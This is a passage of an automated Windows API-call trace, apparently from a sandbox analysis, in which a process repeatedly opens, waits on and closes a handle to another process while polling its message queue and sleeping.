(hObject=0x190) returned 1 [0128.553] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.553] Sleep (dwMilliseconds=0x1) [0128.581] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.581] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.584] CloseHandle (hObject=0x190) returned 1 [0128.584] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.584] Sleep (dwMilliseconds=0x1) [0128.600] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.600] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.616] CloseHandle (hObject=0x190) returned 1 [0128.616] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.616] Sleep (dwMilliseconds=0x1) [0128.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.632] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.647] CloseHandle (hObject=0x190) returned 1 [0128.647] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.647] Sleep (dwMilliseconds=0x1) [0128.673] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.673] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.679] CloseHandle (hObject=0x190) returned 1 [0128.679] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.679] Sleep (dwMilliseconds=0x1) [0128.694] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.694] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.709] CloseHandle (hObject=0x190) returned 1 [0128.709] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.709] Sleep (dwMilliseconds=0x1) [0128.725] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.725] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.740] CloseHandle (hObject=0x190) returned 1 [0128.740] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.741] Sleep (dwMilliseconds=0x1) [0128.756] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.756] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.772] CloseHandle (hObject=0x190) returned 1 [0128.772] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.772] Sleep (dwMilliseconds=0x1) [0128.787] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.787] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.803] CloseHandle (hObject=0x190) returned 1 [0128.803] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.803] Sleep (dwMilliseconds=0x1) [0128.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.824] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.834] CloseHandle (hObject=0x190) returned 1 [0128.834] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.834] Sleep (dwMilliseconds=0x1) [0128.850] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.850] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.865] CloseHandle (hObject=0x190) returned 1 [0128.865] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.865] Sleep (dwMilliseconds=0x1) [0128.881] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.881] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.896] CloseHandle (hObject=0x190) returned 1 [0128.897] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.897] Sleep (dwMilliseconds=0x1) [0128.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.920] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.928] CloseHandle (hObject=0x190) returned 1 [0128.928] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.928] Sleep (dwMilliseconds=0x1) [0128.944] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.944] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.959] CloseHandle (hObject=0x190) returned 1 [0128.959] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.959] Sleep (dwMilliseconds=0x1) [0128.975] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.975] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.990] CloseHandle (hObject=0x190) returned 1 [0128.990] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.990] Sleep (dwMilliseconds=0x1) [0129.007] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.007] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.021] CloseHandle (hObject=0x190) returned 1 [0129.021] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.021] Sleep (dwMilliseconds=0x1) [0129.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.040] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.052] CloseHandle (hObject=0x190) returned 1 [0129.052] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.053] Sleep (dwMilliseconds=0x1) [0129.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.074] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.084] CloseHandle (hObject=0x190) returned 1 [0129.084] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.084] Sleep (dwMilliseconds=0x1) [0129.099] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.100] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.115] CloseHandle (hObject=0x190) returned 1 [0129.115] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.115] Sleep (dwMilliseconds=0x1) [0129.131] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.131] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.146] CloseHandle (hObject=0x190) returned 1 [0129.146] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.146] Sleep (dwMilliseconds=0x1) [0129.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.162] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.183] CloseHandle (hObject=0x190) returned 1 [0129.183] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.183] Sleep (dwMilliseconds=0x1) [0129.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.193] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.209] CloseHandle (hObject=0x190) returned 1 [0129.209] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.209] Sleep (dwMilliseconds=0x1) [0129.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.224] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.240] CloseHandle (hObject=0x190) returned 1 [0129.240] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.240] Sleep (dwMilliseconds=0x1) [0129.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.256] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.271] CloseHandle (hObject=0x190) returned 1 [0129.271] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.271] Sleep (dwMilliseconds=0x1) [0129.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.287] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.302] CloseHandle (hObject=0x190) returned 1 [0129.302] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.302] Sleep (dwMilliseconds=0x1) [0129.319] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.319] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.333] CloseHandle (hObject=0x190) returned 1 [0129.333] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.333] Sleep (dwMilliseconds=0x1) [0129.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.349] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.364] CloseHandle (hObject=0x190) returned 1 [0129.364] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.365] Sleep (dwMilliseconds=0x1) [0129.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.380] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.396] CloseHandle (hObject=0x190) returned 1 [0129.396] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.396] Sleep (dwMilliseconds=0x1) [0129.412] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.412] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.427] CloseHandle (hObject=0x190) returned 1 [0129.427] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.427] Sleep (dwMilliseconds=0x1) [0129.455] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.455] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.458] CloseHandle (hObject=0x190) returned 1 [0129.458] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.458] Sleep (dwMilliseconds=0x1) [0129.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.474] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.489] CloseHandle (hObject=0x190) returned 1 [0129.489] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.489] Sleep (dwMilliseconds=0x1) [0129.505] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.505] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.520] CloseHandle (hObject=0x190) returned 1 [0129.520] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.520] Sleep (dwMilliseconds=0x1) [0129.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.537] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.553] CloseHandle (hObject=0x190) returned 1 [0129.553] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.553] Sleep (dwMilliseconds=0x1) [0129.587] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.587] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.600] CloseHandle (hObject=0x190) returned 1 [0129.600] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.600] Sleep (dwMilliseconds=0x1) [0129.614] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.614] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.630] CloseHandle (hObject=0x190) returned 1 [0129.630] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.630] Sleep (dwMilliseconds=0x1) [0129.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.646] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.673] CloseHandle (hObject=0x190) returned 1 [0129.673] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.673] Sleep (dwMilliseconds=0x1) [0129.678] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.679] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.692] CloseHandle (hObject=0x190) returned 1 [0129.692] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.692] Sleep (dwMilliseconds=0x1) [0129.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.708] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.723] CloseHandle (hObject=0x190) returned 1 [0129.723] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.723] Sleep (dwMilliseconds=0x1) [0129.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.739] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.755] CloseHandle (hObject=0x190) returned 1 [0129.755] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.755] Sleep (dwMilliseconds=0x1) [0129.770] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.770] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.789] CloseHandle (hObject=0x190) returned 1 [0129.789] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.789] Sleep (dwMilliseconds=0x1) [0129.801] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.801] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.817] CloseHandle (hObject=0x190) returned 1 [0129.817] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.817] Sleep (dwMilliseconds=0x1) [0129.833] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.833] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.848] CloseHandle (hObject=0x190) returned 1 [0129.848] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.848] Sleep (dwMilliseconds=0x1) [0129.864] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.864] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.879] CloseHandle (hObject=0x190) returned 1 [0129.879] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.879] Sleep (dwMilliseconds=0x1) [0129.895] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.895] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.910] CloseHandle (hObject=0x190) returned 1 [0129.911] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.911] Sleep (dwMilliseconds=0x1) [0129.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.952] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.957] CloseHandle (hObject=0x190) returned 1 [0129.957] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.957] Sleep (dwMilliseconds=0x1) [0129.973] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0129.973] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0129.989] CloseHandle (hObject=0x190) returned 1 [0129.989] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0129.989] Sleep (dwMilliseconds=0x1) [0130.004] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.004] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.020] CloseHandle (hObject=0x190) returned 1 [0130.020] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.020] Sleep (dwMilliseconds=0x1) [0130.035] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.035] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.051] CloseHandle (hObject=0x190) returned 1 [0130.051] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.051] Sleep (dwMilliseconds=0x1) [0130.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.067] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.082] CloseHandle (hObject=0x190) returned 1 [0130.082] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.082] Sleep (dwMilliseconds=0x1) [0130.098] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.098] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.113] CloseHandle (hObject=0x190) returned 1 [0130.113] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.113] Sleep (dwMilliseconds=0x1) [0130.129] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.129] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.144] CloseHandle (hObject=0x190) returned 1 [0130.144] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.144] Sleep (dwMilliseconds=0x1) [0130.160] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.160] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.176] CloseHandle (hObject=0x190) returned 1 [0130.176] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.176] Sleep (dwMilliseconds=0x1) [0130.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.224] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.238] CloseHandle (hObject=0x190) returned 1 [0130.238] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.238] Sleep (dwMilliseconds=0x1) [0130.254] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.254] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.269] CloseHandle (hObject=0x190) returned 1 [0130.269] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.269] Sleep (dwMilliseconds=0x1) [0130.285] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.285] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.300] CloseHandle (hObject=0x190) returned 1 [0130.301] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.301] Sleep (dwMilliseconds=0x1) [0130.316] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.316] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.333] CloseHandle (hObject=0x190) returned 1 [0130.333] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.333] Sleep (dwMilliseconds=0x1) [0130.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.349] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.394] CloseHandle (hObject=0x190) returned 1 [0130.394] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.394] Sleep (dwMilliseconds=0x1) [0130.410] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.410] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.425] CloseHandle (hObject=0x190) returned 1 [0130.426] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.426] Sleep (dwMilliseconds=0x1) [0130.441] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.441] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.456] CloseHandle (hObject=0x190) returned 1 [0130.456] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.456] Sleep (dwMilliseconds=0x1) [0130.472] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0130.472] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0130.488] CloseHandle (hObject=0x190) returned 1 [0130.488] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0130.488] Sleep (dwMilliseconds=0x1) [0130.503] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 